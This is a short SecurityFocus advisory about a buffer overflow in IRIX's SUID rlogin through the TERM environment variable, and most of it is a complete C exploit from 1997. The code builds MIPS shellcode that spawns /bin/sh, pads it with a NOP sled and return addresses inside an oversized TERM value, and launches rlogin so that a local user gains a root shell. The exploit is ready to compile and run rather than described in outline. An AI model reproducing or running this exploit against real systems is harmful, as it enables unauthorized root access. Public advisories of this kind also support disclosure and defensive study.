source: http://www.securityfocus.com/bid/242/info


The SUID rlogin program is used to establish remote sessions. A buffer overflow condition has been found in the rlogin program that may allow an unauthorized user to gain root access. The overflow in particular is in the rlogin code that handles the TERM enviroment variable. Similar bugs have been known to exist in some telnetd implementations.

NOTE:

The vulnerability was updated august 2, 2000 to reflect certain versions of IRIX to be vulnerable.

                /*## copyright LAST STAGE OF DELIRIUM oct 1997 poland        *://lsd-pl.net/ #*/
                /*## /usr/bsd/rlogin                                                         #*/

                #define NOPNUM 4940
                #define ADRNUM 5000 
                #define ALLIGN 2

                char shellcode[]=
                    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
                    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
                    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
                    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
                    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
                    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
                    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
                    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
                    "\x03\xff\xff\xcc"    /* syscall                      */
                    "/bin/sh"
                ;

                char jump[]=
                    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
                    "\x03\xe0\x00\x08"    /* jr      $ra                  */
                ;

                char nop[]="\x24\x0f\x12\x34";

                main(int argc,char **argv){
                    char buffer[10000],adr[4],*b,*envp[2];
                    int i;

                    printf("copyright LAST STAGE OF DELIRIUM oct 1997 poland  //lsd-pl.net/\n");
                    printf("/usr/bsd/rlogin for irix 5.2 5.3 6.2 6.3 IP:17,19,20,21,22,32\n\n");

                    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10288+7000;

                    envp[0]=buffer;
                    envp[1]=0;

                    b=buffer;
                    sprintf(b,"TERM=");
                    b+=5;
                    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
                    for(i=0;i<ALLIGN;i++) *b++=0xff;
                    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
                    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; 
                    *b=0;

                    execle("/usr/bsd/rlogin","rlogin","localhost",0,envp);
	}
